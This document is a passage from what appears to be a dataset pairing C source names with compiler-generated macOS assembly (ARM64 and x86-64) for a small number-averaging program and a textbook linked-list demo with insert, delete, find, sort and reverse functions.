.asciz "exported_data"
.subsections_via_symbols
| the_stack_data/785486.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
stur wzr, [x29, #-12]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-12]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
mov x9, sp
add x8, sp, #16
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
mov x9, sp
sub x8, x29, #24
str x8, [x9]
add x8, sp, #32
str x8, [x9, #8]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _scanf
ldur d0, [x29, #-24]
fcmp d0, #0.0
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
fmov d0, #1.00000000
stur d0, [x29, #-24]
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldr d0, [sp, #32]
fcmp d0, #0.0
cset w8, ne
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
fmov d0, #1.00000000
str d0, [sp, #32]
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
ldur d0, [x29, #-24]
fmov d1, #0.50000000
fmul d0, d0, d1
stur d0, [x29, #-24]
ldr d0, [sp, #32]
fmul d0, d0, d1
str d0, [sp, #32]
ldur d0, [x29, #-24]
ldr d1, [sp, #32]
fadd d0, d0, d1
ldr d1, [sp, #16]
fdiv d0, d0, d1
str d0, [sp, #24]
ldr d0, [sp, #24]
mov x8, sp
str d0, [x8]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB0_1
LBB0_8:
mov w0, #0
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%lf"
l_.str.2: ; @.str.2
.asciz "%lf %lf"
l_.str.3: ; @.str.3
.asciz "%lf\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI0_0:
.quad 0x3ff0000000000000 ## double 1
LCPI0_1:
.quad 0x3fe0000000000000 ## double 0.5
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
movl $0, -12(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -12(%rbp), %eax
cmpl -8(%rbp), %eax
jge LBB0_8
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.1(%rip), %rdi
leaq -48(%rbp), %rsi
movb $0, %al
callq _scanf
leaq L_.str.2(%rip), %rdi
leaq -24(%rbp), %rsi
leaq -32(%rbp), %rdx
movb $0, %al
callq _scanf
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jne LBB0_4
jp LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -24(%rbp)
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movsd -32(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jne LBB0_6
jp LBB0_6
## %bb.5: ## in Loop: Header=BB0_1 Depth=1
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -32(%rbp)
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
movsd LCPI0_1(%rip), %xmm0 ## xmm0 = mem[0],zero
mulsd -24(%rbp), %xmm0
movsd %xmm0, -24(%rbp)
movsd LCPI0_1(%rip), %xmm0 ## xmm0 = mem[0],zero
mulsd -32(%rbp), %xmm0
movsd %xmm0, -32(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
addsd -32(%rbp), %xmm0
divsd -48(%rbp), %xmm0
movsd %xmm0, -40(%rbp)
movsd -40(%rbp), %xmm0 ## xmm0 = mem[0],zero
leaq L_.str.3(%rip), %rdi
movb $1, %al
callq _printf
## %bb.7: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB0_1
LBB0_8:
xorl %eax, %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%lf"
L_.str.2: ## @.str.2
.asciz "%lf %lf"
L_.str.3: ## @.str.3
.asciz "%lf\n"
.subsections_via_symbols
| the_stack_data/432123.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _printList ; -- Begin function printList
.p2align 2
_printList: ; @printList
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _head@PAGE
ldr x8, [x8, _head@PAGEOFF]
stur x8, [x29, #-8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur x8, [x29, #-8]
ldr w8, [x8, #4]
; implicit-def: $x10
mov x10, x8
ldur x8, [x29, #-8]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldur x8, [x29, #-8]
ldr x8, [x8, #8]
stur x8, [x29, #-8]
b LBB0_1
LBB0_3:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _insertFirst ; -- Begin function insertFirst
.p2align 2
_insertFirst: ; @insertFirst
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
str w1, [sp, #8]
mov x0, #16
bl _malloc
str x0, [sp]
ldur w8, [x29, #-4]
ldr x9, [sp]
str w8, [x9, #4]
ldr w8, [sp, #8]
ldr x9, [sp]
str w8, [x9]
adrp x9, _head@PAGE
ldr x8, [x9, _head@PAGEOFF]
ldr x10, [sp]
str x8, [x10, #8]
ldr x8, [sp]
str x8, [x9, _head@PAGEOFF]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _deleteFirst ; -- Begin function deleteFirst
.p2align 2
_deleteFirst: ; @deleteFirst
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
adrp x9, _head@PAGE
ldr x8, [x9, _head@PAGEOFF]
str x8, [sp, #8]
ldr x8, [x9, _head@PAGEOFF]
ldr x8, [x8, #8]
str x8, [x9, _head@PAGEOFF]
ldr x0, [sp, #8]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _isEmpty ; -- Begin function isEmpty
.p2align 2
_isEmpty: ; @isEmpty
.cfi_startproc
; %bb.0:
adrp x8, _head@PAGE
ldr x8, [x8, _head@PAGEOFF]
subs x8, x8, #0
cset w8, eq
and w0, w8, #0x1
ret
.cfi_endproc
; -- End function
.globl _length ; -- Begin function length
.p2align 2
_length: ; @length
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str wzr, [sp, #12]
adrp x8, _head@PAGE
ldr x8, [x8, _head@PAGEOFF]
str x8, [sp]
b LBB4_1
LBB4_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB4_4
b LBB4_2
LBB4_2: ; in Loop: Header=BB4_1 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB4_3
LBB4_3: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp]
ldr x8, [x8, #8]
str x8, [sp]
b LBB4_1
LBB4_4:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _find ; -- Begin function find
.p2align 2
_find: ; @find
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, #20]
adrp x8, _head@PAGE
ldr x9, [x8, _head@PAGEOFF]
str x9, [sp, #8]
ldr x8, [x8, _head@PAGEOFF]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB5_2
b LBB5_1
LBB5_1:
; kill: def $x8 killed $xzr
str xzr, [sp, #24]
b LBB5_9
LBB5_2:
b LBB5_3
LBB5_3: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr w8, [x8, #4]
ldr w9, [sp, #20]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB5_8
b LBB5_4
LBB5_4: ; in Loop: Header=BB5_3 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB5_6
b LBB5_5
LBB5_5:
; kill: def $x8 killed $xzr
str xzr, [sp, #24]
b LBB5_9
LBB5_6: ; in Loop: Header=BB5_3 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
str x8, [sp, #8]
b LBB5_7
LBB5_7: ; in Loop: Header=BB5_3 Depth=1
b LBB5_3
LBB5_8:
ldr x8, [sp, #8]
str x8, [sp, #24]
b LBB5_9
LBB5_9:
ldr x0, [sp, #24]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _delete ; -- Begin function delete
.p2align 2
_delete: ; @delete
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, #20]
adrp x8, _head@PAGE
ldr x9, [x8, _head@PAGEOFF]
str x9, [sp, #8]
; kill: def $x9 killed $xzr
str xzr, [sp]
ldr x8, [x8, _head@PAGEOFF]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB6_2
b LBB6_1
LBB6_1:
; kill: def $x8 killed $xzr
str xzr, [sp, #24]
b LBB6_12
LBB6_2:
b LBB6_3
LBB6_3: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr w8, [x8, #4]
ldr w9, [sp, #20]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB6_8
b LBB6_4
LBB6_4: ; in Loop: Header=BB6_3 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB6_6
b LBB6_5
LBB6_5:
; kill: def $x8 killed $xzr
str xzr, [sp, #24]
b LBB6_12
LBB6_6: ; in Loop: Header=BB6_3 Depth=1
ldr x8, [sp, #8]
str x8, [sp]
ldr x8, [sp, #8]
ldr x8, [x8, #8]
str x8, [sp, #8]
b LBB6_7
LBB6_7: ; in Loop: Header=BB6_3 Depth=1
b LBB6_3
LBB6_8:
ldr x8, [sp, #8]
adrp x9, _head@PAGE
ldr x9, [x9, _head@PAGEOFF]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB6_10
b LBB6_9
LBB6_9:
adrp x9, _head@PAGE
ldr x8, [x9, _head@PAGEOFF]
ldr x8, [x8, #8]
str x8, [x9, _head@PAGEOFF]
b LBB6_11
LBB6_10:
ldr x8, [sp, #8]
ldr x8, [x8, #8]
ldr x9, [sp]
str x8, [x9, #8]
b LBB6_11
LBB6_11:
ldr x8, [sp, #8]
str x8, [sp, #24]
b LBB6_12
LBB6_12:
ldr x0, [sp, #24]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _sort ; -- Begin function sort
.p2align 2
_sort: ; @sort
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
bl _length
str w0, [sp, #4]
ldr w8, [sp, #4]
stur w8, [x29, #-12]
stur wzr, [x29, #-4]
b LBB7_1
LBB7_1: ; =>This Loop Header: Depth=1
; Child Loop BB7_3 Depth 2
ldur w8, [x29, #-4]
ldr w9, [sp, #4]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB7_10
b LBB7_2
LBB7_2: ; in Loop: Header=BB7_1 Depth=1
adrp x8, _head@PAGE
ldr x9, [x8, _head@PAGEOFF]
str x9, [sp, #16]
ldr x8, [x8, _head@PAGEOFF]
ldr x8, [x8, #8]
str x8, [sp, #8]
mov w8, #1
stur w8, [x29, #-8]
b LBB7_3
LBB7_3: ; Parent Loop BB7_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-8]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB7_8
b LBB7_4
LBB7_4: ; in Loop: Header=BB7_3 Depth=2
ldr x8, [sp, #16]
ldr w8, [x8]
ldr x9, [sp, #8]
ldr w9, [x9]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB7_6
b LBB7_5
LBB7_5: ; in Loop: Header=BB7_3 Depth=2
ldr x8, [sp, #16]
ldr w8, [x8]
stur w8, [x29, #-20]
ldr x8, [sp, #8]
ldr w8, [x8]
ldr x9, [sp, #16]
str w8, [x9]
ldur w8, [x29, #-20]
ldr x9, [sp, #8]
str w8, [x9]
ldr x8, [sp, #16]
ldr w8, [x8, #4]
stur w8, [x29, #-16]
ldr x8, [sp, #8]
ldr w8, [x8, #4]
ldr x9, [sp, #16]
str w8, [x9, #4]
ldur w8, [x29, #-16]
ldr x9, [sp, #8]
str w8, [x9, #4]
b LBB7_6
LBB7_6: ; in Loop: Header=BB7_3 Depth=2
ldr x8, [sp, #16]
ldr x8, [x8, #8]
str x8, [sp, #16]
ldr x8, [sp, #8]
ldr x8, [x8, #8]
str x8, [sp, #8]
b LBB7_7
LBB7_7: ; in Loop: Header=BB7_3 Depth=2
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB7_3
LBB7_8: ; in Loop: Header=BB7_1 Depth=1
b LBB7_9
LBB7_9: ; in Loop: Header=BB7_1 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
ldur w8, [x29, #-12]
subs w8, w8, #1
stur w8, [x29, #-12]
b LBB7_1
LBB7_10:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _reverse ; -- Begin function reverse
.p2align 2
_reverse: ; @reverse
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
; kill: def $x8 killed $xzr
str xzr, [sp, #16]
ldr x8, [sp, #24]
ldr x8, [x8]
str x8, [sp, #8]
b LBB8_1
LBB8_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB8_3
b LBB8_2
LBB8_2: ; in Loop: Header=BB8_1 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
str x8, [sp]
ldr x8, [sp, #16]
ldr x9, [sp, #8]
str x8, [x9, #8]
ldr x8, [sp, #8]
str x8, [sp, #16]
ldr x8, [sp]
str x8, [sp, #8]
b LBB8_1
LBB8_3:
ldr x8, [sp, #16]
ldr x9, [sp, #24]
str x8, [x9]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w0, #1
stur w0, [x29, #-20] ; 4-byte Folded Spill
mov w1, #10
bl _insertFirst
mov w0, #2
mov w1, #20
bl _insertFirst
mov w0, #3
mov w1, #30
bl _insertFirst
ldur w1, [x29, #-20] ; 4-byte Folded Reload
mov w0, #4
bl _insertFirst
mov w0, #5
mov w1, #40
bl _insertFirst
mov w0, #6
mov w1, #56
bl _insertFirst
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
bl _printList
b LBB9_1
LBB9_1: ; =>This Inner Loop Header: Depth=1
bl _isEmpty
tbnz w0, #0, LBB9_3
b LBB9_2
LBB9_2: ; in Loop: Header=BB9_1 Depth=1
bl _deleteFirst
stur x0, [x29, #-8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
ldur x8, [x29, #-8]
ldr w8, [x8, #4]
; implicit-def: $x10
mov x10, x8
ldur x8, [x29, #-8]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB9_1
LBB9_3:
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
bl _printList
mov w0, #1
str w0, [sp, #20] ; 4-byte Folded Spill
mov w1, #10
bl _insertFirst
mov w0, #2
mov w1, #20
bl _insertFirst
mov w0, #3
mov w1, #30
bl _insertFirst
ldr w1, [sp, #20] ; 4-byte Folded Reload
mov w0, #4
str w0, [sp, #24] ; 4-byte Folded Spill
bl _insertFirst
mov w0, #5
mov w1, #40
bl _insertFirst
mov w0, #6
mov w1, #56
bl _insertFirst
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
bl _printList
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
ldr w0, [sp, #24] ; 4-byte Folded Reload
bl _find
stur x0, [x29, #-16]
ldur x8, [x29, #-16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB9_5
b LBB9_4
LBB9_4:
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
ldur x8, [x29, #-16]
ldr w8, [x8, #4]
; implicit-def: $x10
mov x10, x8
ldur x8, [x29, #-16]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
b LBB9_6
LBB9_5:
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
b LBB9_6
LBB9_6:
mov w0, #4
str w0, [sp, #16] ; 4-byte Folded Spill
bl _delete
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
bl _printList
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
ldr w0, [sp, #16] ; 4-byte Folded Reload
bl _find
stur x0, [x29, #-16]
ldur x8, [x29, #-16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB9_8
b LBB9_7
LBB9_7:
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
ldur x8, [x29, #-16]
ldr w8, [x8, #4]
; implicit-def: $x10
mov x10, x8
ldur x8, [x29, #-16]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
b LBB9_9
LBB9_8:
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
b LBB9_9
LBB9_9:
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
bl _sort
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _printf
bl _printList
adrp x0, _head@PAGE
add x0, x0, _head@PAGEOFF
bl _reverse
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
bl _printList
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _head ; @head
.zerofill __DATA,__common,_head,8,3
.globl _current ; @current
.zerofill __DATA,__common,_current,8,3
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "\n[ "
l_.str.1: ; @.str.1
.asciz "(%d,%d) "
l_.str.2: ; @.str.2
.asciz " ]"
l_.str.3: ; @.str.3
.asciz "Original List: "
l_.str.4: ; @.str.4
.asciz "\nDeleted value:"
l_.str.5: ; @.str.5
.asciz "\nList after deleting all items: "
l_.str.6: ; @.str.6
.asciz "\nRestored List: "
l_.str.7: ; @.str.7
.asciz "\n"
l_.str.8: ; @.str.8
.asciz "Element found: "
l_.str.9: ; @.str.9
.asciz "Element not found."
l_.str.10: ; @.str.10
.asciz "List after deleting an item: "
l_.str.11: ; @.str.11
.asciz "List after sorting the data: "
l_.str.12: ; @.str.12
.asciz "\nList after reversing the data: "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _printList ## -- Begin function printList
.p2align 4, 0x90
_printList: ## @printList
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq _head(%rip), %rax
movq %rax, -8(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -8(%rbp)
je LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -8(%rbp), %rax
movl 4(%rax), %esi
movq -8(%rbp), %rax
movl (%rax), %edx
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -8(%rbp)
jmp LBB0_1
LBB0_3:
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _insertFirst ## -- Begin function insertFirst
.p2align 4, 0x90
_insertFirst: ## @insertFirst
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl $16, %edi
callq _malloc
movq %rax, -16(%rbp)
movl -4(%rbp), %ecx
movq -16(%rbp), %rax
movl %ecx, 4(%rax)
movl -8(%rbp), %ecx
movq -16(%rbp), %rax
movl %ecx, (%rax)
movq _head(%rip), %rcx
movq -16(%rbp), %rax
movq %rcx, 8(%rax)
movq -16(%rbp), %rax
movq %rax, _head(%rip)
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _deleteFirst ## -- Begin function deleteFirst
.p2align 4, 0x90
_deleteFirst: ## @deleteFirst
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _head(%rip), %rax
movq %rax, -8(%rbp)
movq _head(%rip), %rax
movq 8(%rax), %rax
movq %rax, _head(%rip)
movq -8(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _isEmpty ## -- Begin function isEmpty
.p2align 4, 0x90
_isEmpty: ## @isEmpty
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
cmpq $0, _head(%rip)
sete %al
andb $1, %al
movzbl %al, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _length ## -- Begin function length
.p2align 4, 0x90
_length: ## @length
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, -4(%rbp)
movq _head(%rip), %rax
movq %rax, -16(%rbp)
LBB4_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -16(%rbp)
je LBB4_4
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
## %bb.3: ## in Loop: Header=BB4_1 Depth=1
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -16(%rbp)
jmp LBB4_1
LBB4_4:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _find ## -- Begin function find
.p2align 4, 0x90
_find: ## @find
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -12(%rbp)
movq _head(%rip), %rax
movq %rax, -24(%rbp)
cmpq $0, _head(%rip)
jne LBB5_2
## %bb.1:
movq $0, -8(%rbp)
jmp LBB5_9
LBB5_2:
jmp LBB5_3
LBB5_3: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
movl 4(%rax), %eax
cmpl -12(%rbp), %eax
je LBB5_8
## %bb.4: ## in Loop: Header=BB5_3 Depth=1
movq -24(%rbp), %rax
cmpq $0, 8(%rax)
jne LBB5_6
## %bb.5:
movq $0, -8(%rbp)
jmp LBB5_9
LBB5_6: ## in Loop: Header=BB5_3 Depth=1
movq -24(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
## %bb.7: ## in Loop: Header=BB5_3 Depth=1
jmp LBB5_3
LBB5_8:
movq -24(%rbp), %rax
movq %rax, -8(%rbp)
LBB5_9:
movq -8(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _delete ## -- Begin function delete
.p2align 4, 0x90
_delete: ## @delete
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -12(%rbp)
movq _head(%rip), %rax
movq %rax, -24(%rbp)
movq $0, -32(%rbp)
cmpq $0, _head(%rip)
jne LBB6_2
## %bb.1:
movq $0, -8(%rbp)
jmp LBB6_12
LBB6_2:
jmp LBB6_3
LBB6_3: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
movl 4(%rax), %eax
cmpl -12(%rbp), %eax
je LBB6_8
## %bb.4: ## in Loop: Header=BB6_3 Depth=1
movq -24(%rbp), %rax
cmpq $0, 8(%rax)
jne LBB6_6
## %bb.5:
movq $0, -8(%rbp)
jmp LBB6_12
LBB6_6: ## in Loop: Header=BB6_3 Depth=1
movq -24(%rbp), %rax
movq %rax, -32(%rbp)
movq -24(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
## %bb.7: ## in Loop: Header=BB6_3 Depth=1
jmp LBB6_3
LBB6_8:
movq -24(%rbp), %rax
cmpq _head(%rip), %rax
jne LBB6_10
## %bb.9:
movq _head(%rip), %rax
movq 8(%rax), %rax
movq %rax, _head(%rip)
jmp LBB6_11
LBB6_10:
movq -24(%rbp), %rax
movq 8(%rax), %rcx
movq -32(%rbp), %rax
movq %rcx, 8(%rax)
LBB6_11:
movq -24(%rbp), %rax
movq %rax, -8(%rbp)
LBB6_12:
movq -8(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _sort ## -- Begin function sort
.p2align 4, 0x90
_sort: ## @sort
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
callq _length
movl %eax, -44(%rbp)
movl -44(%rbp), %eax
movl %eax, -12(%rbp)
